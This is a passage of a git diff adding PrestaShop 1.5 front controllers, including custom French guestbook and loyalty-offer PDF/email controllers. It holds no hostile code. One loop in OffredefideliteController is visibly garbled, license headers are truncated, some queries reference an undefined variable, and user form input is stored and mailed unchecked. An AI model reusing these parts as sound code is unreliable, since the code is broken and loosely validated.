'slowValidation' => Tools::isSubmit('slowvalidation') + )); + + $this->setTemplate(_PS_THEME_DIR_.'history.tpl'); + } +} + diff --git a/controllers/front/IdentityController.php b/controllers/front/IdentityController.php new file mode 100755 index 0000000..048a1d0 --- /dev/null +++ b/controllers/front/IdentityController.php @@ -0,0 +1,146 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class IdentityControllerCore extends FrontController +{ + public $auth = true; + public $php_self = 'identity'; + public $authRedirection = 'identity'; + public $ssl = true; + + public function init() + { + parent::init(); + $this->customer = $this->context->customer; + } + + /** + * Start forms process + * @see FrontController::postProcess() + */ + public function postProcess() + { + $origin_newsletter = (bool)$this->customer->newsletter; + + if (isset($_POST['years']) && isset($_POST['months']) && isset($_POST['days'])) + $this->customer->birthday = (int)($_POST['years']).'-'.(int)($_POST['months']).'-'.(int)($_POST['days']); + + if (Tools::isSubmit('submitIdentity')) + { + if (!@checkdate(Tools::getValue('months'), Tools::getValue('days'), Tools::getValue('years')) && + !(Tools::getValue('months') == '' && Tools::getValue('days') == '' && Tools::getValue('years') == '')) + $this->errors[] = Tools::displayError('Invalid date of birth.'); + else + { + $email = trim(Tools::getValue('email')); + $this->customer->birthday = (empty($_POST['years']) ? '' : (int)$_POST['years'].'-'.(int)$_POST['months'].'-'.(int)$_POST['days']); + $_POST['old_passwd'] = trim($_POST['old_passwd']); + + if (!Validate::isEmail($email)) + $this->errors[] = Tools::displayError('This email address is not valid'); + elseif ($this->customer->email != $email && Customer::customerExists($email, true)) + $this->errors[] = Tools::displayError('An account using this email address has already been registered.'); + elseif (empty($_POST['old_passwd']) || (Tools::encrypt($_POST['old_passwd']) != $this->context->cookie->passwd)) + $this->errors[] = Tools::displayError('The password you entered is incorrect.'); + elseif ($_POST['passwd'] != $_POST['confirmation']) + $this->errors[] = Tools::displayError('The password and confirmation do not match.'); + else + { + $prev_id_default_group = $this->customer->id_default_group; + + // Merge all errors of this file and of the Object Model + $this->errors = array_merge($this->errors, $this->customer->validateController()); + } + + if (!count($this->errors)) + { + $this->customer->id_default_group = (int)$prev_id_default_group; + $this->customer->firstname = Tools::ucfirst(Tools::strtolower($this->customer->firstname)); + + if (!isset($_POST['newsletter'])) + $this->customer->newsletter = 0; + elseif (!$origin_newsletter && isset($_POST['newsletter'])) + if ($module_newsletter = Module::getInstanceByName('blocknewsletter')) + if ($module_newsletter->active) + $module_newsletter->confirmSubscription($this->customer->email); + + if (!isset($_POST['optin'])) + $this->customer->optin = 0; + if (Tools::getValue('passwd')) + $this->context->cookie->passwd = $this->customer->passwd; + if ($this->customer->update()) + { + $this->context->cookie->customer_lastname = $this->customer->lastname; + $this->context->cookie->customer_firstname = $this->customer->firstname; + $this->context->smarty->assign('confirmation', 1); + } + else + $this->errors[] = Tools::displayError('The information cannot be updated.'); + } + } + } + else + $_POST = array_map('stripslashes', $this->customer->getFields()); + + return $this->customer; + } + /** + * Assign template vars related to page content + * @see FrontController::initContent() + */ + public function initContent() + { + parent::initContent(); + + if ($this->customer->birthday) + $birthday = explode('-', $this->customer->birthday); + else + $birthday = array('-', '-', '-'); + + /* Generate years, months and days */ + $this->context->smarty->assign(array( + 'years' => Tools::dateYears(), + 'sl_year' => $birthday[0], + 'months' => Tools::dateMonths(), + 'sl_month' => $birthday[1], + 'days' => Tools::dateDays(), + 'sl_day' => $birthday[2], + 'errors' => $this->errors, + 'genders' => Gender::getGenders(), + )); + + $this->context->smarty->assign('newsletter', (int)Module::getInstanceByName('blocknewsletter')->active); + + $this->setTemplate(_PS_THEME_DIR_.'identity.tpl'); + } + + public function setMedia() + { + parent::setMedia(); + $this->addCSS(_THEME_CSS_DIR_.'identity.css'); + } + +} diff --git a/controllers/front/IndexController.php b/controllers/front/IndexController.php new file mode 100755 index 0000000..4531064 --- /dev/null +++ b/controllers/front/IndexController.php @@ -0,0 +1,42 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class IndexControllerCore extends FrontController +{ + public $php_self = 'index'; + + /** + * Assign template vars related to page content + * @see FrontController::initContent() + */ + public function initContent() + { + parent::initContent(); + + $this->context->smarty->assign('HOOK_HOME', Hook::exec('displayHome')); + $this->setTemplate(_PS_THEME_DIR_.'index.tpl'); + } +} diff --git a/controllers/front/InscriptionController.php b/controllers/front/InscriptionController.php new file mode 100755 index 0000000..fa17ea9 --- /dev/null +++ b/controllers/front/InscriptionController.php @@ -0,0 +1,46 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class InscriptionControllerCore extends FrontController +{ + public $php_self = 'inscription'; + + /** + * Assign template vars related to page content + * @see FrontController::initContent() + */ + public function initContent() + { + parent::initContent(); + + // $cart_rules = CartRule::getCustomerCartRules($this->context->language->id, $this->context->customer->id, true, false); + // $nb_cart_rules = count($cart_rules); + + // $this->context->smarty->assign(array('nb_cart_rules' => (int)$nb_cart_rules, 'cart_rules' => $cart_rules, 'discount' => $cart_rules, 'nbDiscounts' => (int)$nb_cart_rules)); + $this->setTemplate(_PS_THEME_DIR_.'inscription.tpl'); + } +} + diff --git a/controllers/front/LivredorController.php b/controllers/front/LivredorController.php new file mode 100755 index 0000000..782c6eb --- /dev/null +++ b/controllers/front/LivredorController.php @@ -0,0 +1,119 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class LivredorControllerCore extends FrontController +{ + public $php_self = 'livredor'; + + /** + * Assign template vars related to page content + * @see FrontController::initContent() + */ + + + + public function setMedia() + { + parent::setMedia(); + $this->addCSS(_THEME_CSS_DIR_.'livredor.css'); + $this->addJS(_THEME_JS_DIR_.'livredor.js'); + } + + public function getItemslivredor($id_theme = null) + { + $id_shop = $this->context->shop->id; + $id_lang = $this->context->language->id; + + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT hs.`id_livredor_item` as id_livredor, + hss.`position`, + hss.`id_theme`, + hss.`active`, + hss.`note`, + hss.`age`, + hssl.`prenom`, + hssl.`nom`, + hssl.`nom`, + hssl.`departement`, + hssl.`ville`, + hssl.`titre`, + hssl.`phrase` + FROM '._DB_PREFIX_.'devspelivredor hs + LEFT JOIN '._DB_PREFIX_.'devspelivredor_item hss ON (hs.id_livredor_item = hss.id_livredor_item) + LEFT JOIN '._DB_PREFIX_.'devspelivredor_item_lang hssl ON (hss.id_livredor_item = hssl.id_livredor_item) + WHERE (id_shop = '.(int)$id_shop.') + AND hssl.id_lang = '.(int)$id_lang.' + AND hss.`active` = 1 + AND hss.`id_theme` = '.(int)$id_theme.' + ORDER BY hss.position'); + } + + public function getItemsTheme($id_livredor_parent=0) + { + $id_shop = $this->context->shop->id; + $id_lang = $this->context->language->id; + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT hss.`id_livredor_theme` as id_theme, + hss.`position`, + hss.`active`, + hss.`id_livredor_parent`, + hssl.`title` + FROM '._DB_PREFIX_.'devspelivredor_theme hss + LEFT JOIN '._DB_PREFIX_.'devspelivredor_theme_lang hssl ON (hss.id_livredor_theme = hssl.id_livredor_theme) + WHERE hssl.id_lang = '.(int)$id_lang.' + AND id_livredor_parent='.$id_livredor_parent.' + AND hss.`active` = 1 + ORDER BY hss.position'); + } + public function generationlivredor() + { + $livredorParents=$this->getItemsTheme(0); + foreach($livredorParents as &$row){ + $row['children']=$this->getItemsTheme($row['id_theme']); + foreach($row['children'] as &$row2){ + $row2['items']=$this->getItemslivredor($row2['id_theme']); + } + if($row['id_theme']!=0) + $row['items']=$this->getItemslivredor($row['id_theme']); + } + return $livredorParents; + } + + + public function initContent() + { + + // $this->context = Context::getContext(); + $id_shop = $this->context->shop->id; + $id_lang = $this->context->language->id; + + $this->context->smarty->assign('generationlivredor',$this->generationlivredor()); + + $this->setTemplate(_PS_THEME_DIR_.'livredor.tpl'); + + parent::initContent(); + } +} diff --git a/controllers/front/ManufacturerController.php b/controllers/front/ManufacturerController.php new file mode 100755 index 0000000..1aa4ae2 --- /dev/null +++ b/controllers/front/ManufacturerController.php @@ -0,0 +1,132 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class ManufacturerControllerCore extends FrontController +{ + public $php_self = 'manufacturer'; + protected $manufacturer; + + public function setMedia() + { + parent::setMedia(); + $this->addCSS(_THEME_CSS_DIR_.'product_list.css'); + + if (Configuration::get('PS_COMPARATOR_MAX_ITEM')) + $this->addJS(_THEME_JS_DIR_.'products-comparison.js'); + } + + public function canonicalRedirection($canonicalURL = '') + { + if (Validate::isLoadedObject($this->manufacturer)) + parent::canonicalRedirection($this->context->link->getManufacturerLink($this->manufacturer)); + } + + /** + * Initialize manufaturer controller + * @see FrontController::init() + */ + public function init() + { + parent::init(); + + if ($id_manufacturer = Tools::getValue('id_manufacturer')) + { + $this->manufacturer = new Manufacturer((int)$id_manufacturer, $this->context->language->id); + if (!Validate::isLoadedObject($this->manufacturer) || !$this->manufacturer->active || !$this->manufacturer->isAssociatedToShop()) + { + header('HTTP/1.1 404 Not Found'); + header('Status: 404 Not Found'); + $this->errors[] = Tools::displayError('The manufacturer does not exist.'); + } + else + $this->canonicalRedirection(); + } + } + + /** + * Assign template vars related to page content + * @see FrontController::initContent() + */ + public function initContent() + { + parent::initContent(); + + if (Validate::isLoadedObject($this->manufacturer) && $this->manufacturer->active && $this->manufacturer->isAssociatedToShop()) + { + $this->productSort(); + $this->assignOne(); + $this->setTemplate(_PS_THEME_DIR_.'manufacturer.tpl'); + } + else + { + $this->assignAll(); + $this->setTemplate(_PS_THEME_DIR_.'manufacturer-list.tpl'); + } + } + + /** + * Assign template vars if displaying one manufacturer + */ + protected function assignOne() + { + $this->manufacturer->description = Tools::nl2br(trim($this->manufacturer->description)); + $nbProducts = $this->manufacturer->getProducts($this->manufacturer->id, null, null, null, $this->orderBy, $this->orderWay, true); + $this->pagination((int)$nbProducts); + $this->context->smarty->assign(array( + 'nb_products' => $nbProducts, + 'products' => $this->manufacturer->getProducts($this->manufacturer->id, $this->context->language->id, (int)$this->p, (int)$this->n, $this->orderBy, $this->orderWay), + 'path' => ($this->manufacturer->active ? Tools::safeOutput($this->manufacturer->name) : ''), + 'manufacturer' => $this->manufacturer, + 'comparator_max_item' => Configuration::get('PS_COMPARATOR_MAX_ITEM') + )); + } + + /** + * Assign template vars if displaying the manufacturer list + */ + protected function assignAll() + { + if (Configuration::get('PS_DISPLAY_SUPPLIERS')) + { + $data = Manufacturer::getManufacturers(true, $this->context->language->id, true, false, false, false); + $nbProducts = count($data); + $this->pagination($nbProducts); + + foreach ($data as &$item) + $item['image'] = (!file_exists(_PS_MANU_IMG_DIR_.$item['id_manufacturer'].'-'.ImageType::getFormatedName('medium').'.jpg')) ? $this->context->language->iso_code.'-default' : $item['id_manufacturer']; + + $this->context->smarty->assign(array( + 'pages_nb' => ceil($nbProducts / (int)($this->n)), + 'nbManufacturers' => $nbProducts, + 'mediumSize' => Image::getSize(ImageType::getFormatedName('medium')), + 'manufacturers' => $data, + 'add_prod_display' => Configuration::get('PS_ATTRIBUTE_CATEGORY_DISPLAY'), + )); + } + else + $this->context->smarty->assign('nbManufacturers', 0); + } +} diff --git a/controllers/front/MyAccountController.php b/controllers/front/MyAccountController.php new file mode 100755 index 0000000..6a5e6ba --- /dev/null +++ b/controllers/front/MyAccountController.php @@ -0,0 +1,59 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class MyAccountControllerCore extends FrontController +{ + public $auth = true; + public $php_self = 'my-account'; + public $authRedirection = 'my-account'; + public $ssl = true; + + public function setMedia() + { + parent::setMedia(); + $this->addCSS(_THEME_CSS_DIR_.'my-account.css'); + } + + /** + * Assign template vars related to page content + * @see FrontController::initContent() + */ + public function initContent() + { + parent::initContent(); + + $has_address = $this->context->customer->getAddresses($this->context->language->id); + $this->context->smarty->assign(array( + 'has_customer_an_address' => empty($has_address), + 'voucherAllowed' => (int)CartRule::isFeatureActive(), + 'returnAllowed' => (int)Configuration::get('PS_ORDER_RETURN') + )); + $this->context->smarty->assign('HOOK_CUSTOMER_ACCOUNT', Hook::exec('displayCustomerAccount')); + + $this->setTemplate(_PS_THEME_DIR_.'my-account.tpl'); + } +} + diff --git a/controllers/front/NewProductsController.php b/controllers/front/NewProductsController.php new file mode 100755 index 0000000..7cf283e --- /dev/null +++ b/controllers/front/NewProductsController.php @@ -0,0 +1,70 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class NewProductsControllerCore extends FrontController +{ + public $php_self = 'new-products'; + + public function setMedia() + { + parent::setMedia(); + $this->addCSS(_THEME_CSS_DIR_.'product_list.css'); + + if (Configuration::get('PS_COMPARATOR_MAX_ITEM')) + $this->addJS(_THEME_JS_DIR_.'products-comparison.js'); + } + + /** + * Assign template vars related to page content + * @see FrontController::initContent() + */ + public function initContent() + { + parent::initContent(); + + $this->productSort(); + + $nbProducts = (int)Product::getNewProducts( + $this->context->language->id, + (isset($this->p) ? (int)($this->p) - 1 : null), + (isset($this->n) ? (int)($this->n) : null), + true + ); + + $this->pagination($nbProducts); + + $this->context->smarty->assign(array( + 'products' => Product::getNewProducts($this->context->language->id, (int)($this->p) - 1, (int)($this->n), false, $this->orderBy, $this->orderWay), + 'add_prod_display' => Configuration::get('PS_ATTRIBUTE_CATEGORY_DISPLAY'), + 'nbProducts' => (int)($nbProducts), + 'homeSize' => Image::getSize(ImageType::getFormatedName('home')), + 'comparator_max_item' => Configuration::get('PS_COMPARATOR_MAX_ITEM') + )); + + $this->setTemplate(_PS_THEME_DIR_.'new-products.tpl'); + } +} + diff --git a/controllers/front/OffredefideliteController.php b/controllers/front/OffredefideliteController.php new file mode 100755 index 0000000..36816ba --- /dev/null +++ b/controllers/front/OffredefideliteController.php @@ -0,0 +1,120 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ +// include ('/classes/pdf/HTMLTemplateOffredefidelite.php'); +class OffredefideliteControllerCore extends FrontController +{ + protected $display_header = false; + protected $display_footer = false; + + public function postProcess() + { + // if (!$this->context->customer->isLogged()) + // Tools::redirect('index.php?controller=authentication&back=order-follow'); + + if(Tools::getValue('fullIds')){ + $fullIds=explode('-',Tools::getValue('fullIds')); + // print_r($fullIds); + } + // die(); + // if (Tools::getValue('id_order_return') && Validate::isUnsignedId(Tools::getValue('id_order_return'))) + $this->Offredefidelite = new Offredefidelite(); + $this->Offredefidelite->template="Offredefidelite"; + + $this->template="Offredefidelite"; + // if (!isset($this->Offredefidelite)) + // die(Tools::displayError('not found.')); + + $this->Offredefidelite->fidelite_civilite=Tools::getValue('fidelite_civilite'); + $this->Offredefidelite->fidelite_nom=Tools::getValue('fidelite_nom'); + $this->Offredefidelite->fidelite_prenom=Tools::getValue('fidelite_prenom'); + $this->Offredefidelite->fidelite_adr=Tools::getValue('fidelite_adr'); + $this->Offredefidelite->fidelite_cp=Tools::getValue('fidelite_cp'); + $this->Offredefidelite->fidelite_ville=Tools::getValue('fidelite_ville'); + $this->Offredefidelite->fidelite_tel=Tools::getValue('fidelite_tel'); + $this->Offredefidelite->from=Tools::getValue('from'); + $this->Offredefidelite->days=Tools::getValue('days'); + $this->Offredefidelite->months=Tools::getValue('months'); + $this->Offredefidelite->years=Tools::getValue('years'); + $this->Offredefidelite->produits1=Tools::getValue('produits1'); + $this->Offredefidelite->produits2=Tools::getValue('produits2'); + // echo Tools::getValue('produits1'); + // echo Tools::getValue('produits2'); + // die(); + $selecteds=array(); + $selectedIds=""; + $fullIds=explode('-',Tools::getValue('fullIds')); + + for($i=0;$iOffredefidelite->selectedIds=$selectedIds; + $this->Offredefidelite->add(); + $this->Offredefidelite->mktime=mktime(); + $this->Offredefidelite->selecteds=$selecteds; + // print_r($selecteds); + // die(); + } + + public function display() + { + $pdf = new PDF($this->Offredefidelite,'Offredefidelite', $this->context->smarty); + if(Tools::isSubmit('submitMail')){ + // if($pdf->render('F')){ + // 'offre-de-fidelite'.$this->offredefidelite->mktime.'.pdf' + // {attached_file_href}">{attached_file} + if (($from = trim(Tools::getValue('recevoir_from'))) && Validate::isEmail($from)){ + $pdf->render('F'); + $fileAttachment = null; + // if(file_exists('upload/offre-de-fidelite'.$this->offredefidelite->mktime.'.pdf')){ + $fileAttachment['content'] = file_get_contents(_PS_BASE_URL_.__PS_BASE_URI__.'upload/offre-de-fidelite'.$this->Offredefidelite->mktime.'.pdf'); + $fileAttachment['name'] = 'offre-de-fidelite.pdf'; + $fileAttachment['mime'] = "application/pdf"; + $var_list['{attached_file_url}'] = _PS_BASE_URL_.__PS_BASE_URI__.'upload/offre-de-fidelite'.$this->Offredefidelite->mktime.'.pdf'; + $var_list['{attached_file}'] = "Offre de fidélité"; + // } + // } + // $var_list = array( + // '{email}' => $from, + // ); + $subject="Offre de fidélité"; + + + Mail::Send($this->context->language->id, 'offrefidelite', $subject, $var_list, $from, null, null, null, $fileAttachment); + Tools::redirect('offrefidelite?succes=1'); + }else{ + Tools::redirect('offrefidelite.php?error=badmail') ; + } + // } + }else + $pdf->render(); + } +} + diff --git a/controllers/front/OffrefideliteController.php b/controllers/front/OffrefideliteController.php new file mode 100755 index 0000000..65a95e6 --- /dev/null +++ b/controllers/front/OffrefideliteController.php @@ -0,0 +1,231 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class OffrefideliteControllerCore extends FrontController +{ + public $php_self = 'offrefidelite'; + + /** + * Assign template vars related to page content + * @see FrontController::initContent() + */ + + + public function init() + { + parent::init(); + $this->customer = $this->context->customer; + } + + public function setMedia() + { + parent::setMedia(); + $this->addCSS(_THEME_CSS_DIR_.'offrefidelite.css'); + } + + + public function getItemVideo() + { + $id_shop = $this->context->shop->id; + $id_lang = $this->context->language->id; + + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT hs.`id_item` as id_item, + hss.`position`, + hss.`active`, + hssl.`description` + FROM '._DB_PREFIX_.'devspeoffrefidelitevideo hs + LEFT JOIN '._DB_PREFIX_.'devspeoffrefidelitevideo_items hss ON (hs.id_item = hss.id_item) + LEFT JOIN '._DB_PREFIX_.'devspeoffrefidelitevideo_items_lang hssl ON (hss.id_item = hssl.id_item) + WHERE (id_shop = '.(int)$id_shop.') + AND hssl.id_lang = '.(int)$id_lang. + ($active ? ' AND hss.`active` = 1' : ' ').' + ORDER BY hss.position + limit 0,1'); + } + public function getLivredorEnAvant() + { + $id_shop = $this->context->shop->id; + $id_lang = $this->context->language->id; + + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT hs.`id_livredor_item` as id_livredor, + hss.`position`, + hss.`id_theme`, + hss.`active`, + hss.`en_avant`, + hss.`note`, + hss.`age`, + hssl.`prenom`, + hssl.`nom`, + hssl.`nom`, + hssl.`departement`, + hssl.`ville`, + hssl.`titre`, + hssl.`phrase` + FROM '._DB_PREFIX_.'devspelivredor hs + LEFT JOIN '._DB_PREFIX_.'devspelivredor_item hss ON (hs.id_livredor_item = hss.id_livredor_item) + LEFT JOIN '._DB_PREFIX_.'devspelivredor_item_lang hssl ON (hss.id_livredor_item = hssl.id_livredor_item) + WHERE (id_shop = '.(int)$id_shop.') + AND hssl.id_lang = '.(int)$id_lang. + ($active ? ' AND hss.`active` = 1' : ' '). + ' AND hss.`en_avant` = 1 + ORDER BY hss.position'); + } + public function getItemsProducts2() + { + // if(Tools::getValue('id_product')) + // $id_product=Tools::getValue('id_product'); + $id_shop = $this->context->shop->id; + $id_lang = $this->context->language->id; + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT distinct(p.`id_product`), pl.name, pl.link_rewrite,cl.name as categoryName,c.id_category,p.id_category_default + FROM '._DB_PREFIX_.'product p + LEFT JOIN '._DB_PREFIX_.'product_lang pl ON (pl.id_lang = '.(int)$id_lang.' and p.id_product = pl.id_product) + LEFT JOIN '._DB_PREFIX_.'category_lang cl ON (cl.id_lang = '.(int)$id_lang.' and p.id_category_default = cl.id_category) + LEFT JOIN '._DB_PREFIX_.'category c ON (cl.id_category = c.id_category) + WHERE c.id_category = 31 + AND active = 1 + ORDER BY c.position asc,pl.name asc'); + } + + public function getItemsProducts() + { + $id_shop = $this->context->shop->id; + $id_lang = $this->context->language->id; + $sql=' + SELECT distinct(p.`id_product`), pl.name, pl.link_rewrite,cl.name as categoryName,c.id_category,p.id_category_default + FROM '._DB_PREFIX_.'category_product cp + LEFT JOIN '._DB_PREFIX_.'category c ON (cp.id_category = c.id_category) + LEFT JOIN '._DB_PREFIX_.'category_lang cl ON (cl.id_lang = '.(int)$id_lang.' and c.id_category = cl.id_category) + LEFT JOIN '._DB_PREFIX_.'product p ON (p.id_product = cp.id_product) + LEFT JOIN '._DB_PREFIX_.'product_lang pl ON (pl.id_lang = '.(int)$id_lang.' and p.id_product = pl.id_product) + WHERE c.id_category = 31 + AND p.active = 1 + ORDER BY cl.name desc,cp.position asc,pl.name asc'; + + $products= Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql); + return $products; + } + + public function initContent() + { + // $this->context = Context::getContext(); + $id_shop = $this->context->shop->id; + $id_lang = $this->context->language->id; + + if($id_address_delivery = $this->context->cart->id_address_delivery){ + $this->context->smarty->assign('address', new Address($id_address_delivery)); + } + // birthday + $naissance=explode('-',$this->customer->birthday); + $this->customer->naissanceAnnee=$naissance[0]; + $this->customer->naissanceMois=$naissance[1]; + $this->customer->naissanceJour=$naissance[2]; + $this->context->smarty->assign('customer', $this->customer); + + + + if (Tools::isSubmit('submitOffreFidelite')) + { + $this->emailOffreFidelite(); + } + + $this->context->smarty->assign('generationProduits',$this->getItemsProducts()); + + $this->context->smarty->assign('livredorEnAvant',$this->getLivredorEnAvant()); + + $years = Tools::dateYears(); + $months = Tools::dateMonths(); + $days = Tools::dateDays(); + if(Tools::getValue('error')=="badmail"){ + $this->context->smarty->assign(array( + 'msgOffrefidelite_error' => 1, + 'msgOffrefidelite' => 'adresse e-mail invalide' + )); + } + $this->context->smarty->assign(array( + 'succes'=> Tools::getValue('succes'), + 'years' => $years, + 'months' => $months, + 'days' => $days, + 'getItemVideo' => $this->getItemVideo() + )); + + $this->context->smarty->assign(array( + 'contacts' => Contact::getContacts($this->context->language->id) + )); + $this->setTemplate(_PS_THEME_DIR_.'offrefidelite.tpl'); + + parent::initContent(); + } + + public function emailOffreFidelite(){ + + $fileAttachment = array(); + // if (isset($_FILES['fileUpload']['name']) && !empty($_FILES['fileUpload']['name']) && !empty($_FILES['fileUpload']['tmp_name'])) + // { + // $extension = array('.txt', '.rtf', '.doc', '.docx', '.pdf', '.zip', '.png', '.jpeg', '.gif', '.jpg'); + // $filename = uniqid().substr($_FILES['fileUpload']['name'], -5); + $fileAttachment['content'] = file_get_contents(_PS_BASE_URL_.__PS_BASE_URI__.'offre_fidelite.pdf'); + $fileAttachment['name'] = "offre_fidelite.pdf"; + $fileAttachment['mime'] = "application/pdf"; + + // } + if (!($from = trim(Tools::getValue('recevoir_from'))) || !Validate::isEmail($from)) + $this->errors[] = Tools::displayError('Invalid email address.'); + $id_contact=1; + $contact = new Contact($id_contact, $this->context->language->id); + + if (!count($this->errors)) + { + $var_list = array( + '{attached_file}' => '-', + '{email}' => $from, + ); + + // if (isset($filename)) + $var_list['{attached_file}'] = 'offre_fidelite.pdf'; + $var_list['{attached_file_href}'] = _PS_BASE_URL_.__PS_BASE_URI__.'offre_fidelite.pdf'; + // $contact->email; + // offrefidelite + // if (!Mail::Send($this->context->language->id, 'offrefidelite', Mail::l('Offre de fidélité'), $var_list, $from, null, $contact->email, $contact->name, $fileAttachment)) + if (!Mail::Send($this->context->language->id, 'offrefidelite', Mail::l('Offre de fidélité'), $var_list, $from, null, '', '', $fileAttachment)) + $this->errors[] = Tools::displayError('An error occurred while sending the message.'); + + $this->context->smarty->assign(array( + 'from' => $from, + 'msgOffrefidelite' => 1 + )); + }else{ + $this->context->smarty->assign(array( + 'msgOffrefidelite_error' => 1, + 'msgOffrefidelite' => $this->errors + )); + } + // print_r($this->errors); + } +} diff --git a/controllers/front/OffrefidelitepdfController.php b/controllers/front/OffrefidelitepdfController.php new file mode 100755 index 0000000..0da90c7 --- /dev/null +++ b/controllers/front/OffrefidelitepdfController.php @@ -0,0 +1,55 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class OffrefidelitepdfControllerCore extends FrontController +{ + protected $display_header = false; + protected $display_footer = false; + + public function postProcess() + { + // if (!$this->context->customer->isLogged()) + // Tools::redirect('index.php?controller=authentication&back=order-follow'); + + if(Tools::getValue('fullIds')){ + $fullIds=explode('-',Tools::getValue('fullIds')); + } + $this->Offredefidelite = new Offredefidelite(1); + // $this->Offredefidelite->template="Offredefidelite"; + // $this->template="Offredefidelite"; + if (!isset($this->Offredefidelite) || !Validate::isLoadedObject($this->Offredefidelite)) + die(Tools::displayError('not found.')); + + } + + public function display() + { + // $pdf = new PDF($this->orderReturn, PDF::TEMPLATE_ORDER_RETURN, $this->context->smarty); + $pdf = new PDF($this->Offredefidelite,'Offredefidelite', $this->context->smarty); + $pdf->render(); + } +} + diff --git a/controllers/front/OrderConfirmationController.php b/controllers/front/OrderConfirmationController.php new file mode 100755 index 0000000..ef4660e --- /dev/null +++ b/controllers/front/OrderConfirmationController.php @@ -0,0 +1,155 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class OrderConfirmationControllerCore extends FrontController +{ + public $php_self = 'order-confirmation'; + + public $id_cart; + public $id_module; + public $id_order; + public $reference; + public $secure_key; + + /** + * Initialize order confirmation controller + * @see FrontController::init() + */ + public function init() + { + parent::init(); + + $this->id_cart = (int)(Tools::getValue('id_cart', 0)); + $is_guest = false; + + /* check if the cart has been made by a Guest customer, for redirect link */ + if (Cart::isGuestCartByCartId($this->id_cart)) + { + $is_guest = true; + $redirectLink = 'index.php?controller=guest-tracking'; + } + else + $redirectLink = 'index.php?controller=history'; + + $this->id_module = (int)(Tools::getValue('id_module', 0)); + $this->id_order = Order::getOrderByCartId((int)($this->id_cart)); + $this->secure_key = Tools::getValue('key', false); + $order = new Order((int)($this->id_order)); + if ($is_guest) + { + $customer = new Customer((int)$order->id_customer); + $redirectLink .= '&id_order='.$order->reference.'&email='.urlencode($customer->email); + } + if (!$this->id_order || !$this->id_module || !$this->secure_key || empty($this->secure_key)) + Tools::redirect($redirectLink.(Tools::isSubmit('slowvalidation') ? '&slowvalidation' : '')); + $this->reference = $order->reference; + if (!Validate::isLoadedObject($order) || $order->id_customer != $this->context->customer->id || $this->secure_key != $order->secure_key) + Tools::redirect($redirectLink); + $module = Module::getInstanceById((int)($this->id_module)); + if ($order->payment != $module->displayName) + Tools::redirect($redirectLink); + } + + /** + * Assign template vars related to page content + * @see FrontController::initContent() + */ + public function initContent() + { + parent::initContent(); + + $this->context->smarty->assign(array( + 'is_guest' => $this->context->customer->is_guest, + 'HOOK_ORDER_CONFIRMATION' => $this->displayOrderConfirmation(), + 'HOOK_PAYMENT_RETURN' => $this->displayPaymentReturn() + )); + + if ($this->context->customer->is_guest) + { + $order = new Order($this->id_order); + $this->context->smarty->assign(array( + 'id_order' => $this->id_order, + 'reference_order' => $this->reference, + 'id_order_formatted' => sprintf('#%06d', $this->id_order), + 'email' => $this->context->customer->email, + 'total_to_pay' => $order->getOrdersTotalPaid() + )); + /* If guest we clear the cookie for security reason */ + $this->context->customer->mylogout(); + } + + $this->setTemplate(_PS_THEME_DIR_.'order-confirmation.tpl'); + } + + /** + * Execute the hook displayPaymentReturn + */ + public function displayPaymentReturn() + { + if (Validate::isUnsignedId($this->id_order) && Validate::isUnsignedId($this->id_module)) + { + $params = array(); + $order = new Order($this->id_order); + $currency = new Currency($order->id_currency); + + if (Validate::isLoadedObject($order)) + { + $params['total_to_pay'] = $order->getOrdersTotalPaid(); + $params['currency'] = $currency->sign; + $params['objOrder'] = $order; + $params['currencyObj'] = $currency; + + return Hook::exec('displayPaymentReturn', $params, $this->id_module); + } + } + return false; + } + + /** + * Execute the hook displayOrderConfirmation + */ + public function displayOrderConfirmation() + { + if (Validate::isUnsignedId($this->id_order)) + { + $params = array(); + $order = new Order($this->id_order); + $currency = new Currency($order->id_currency); + + if (Validate::isLoadedObject($order)) + { + $params['total_to_pay'] = $order->getOrdersTotalPaid(); + $params['currency'] = $currency->sign; + $params['objOrder'] = $order; + $params['currencyObj'] = $currency; + + return Hook::exec('displayOrderConfirmation', $params); + } + } + return false; + } +} + diff --git a/controllers/front/OrderController.php b/controllers/front/OrderController.php new file mode 100755 index 0000000..ae46c3c --- /dev/null +++ b/controllers/front/OrderController.php @@ -0,0 +1,376 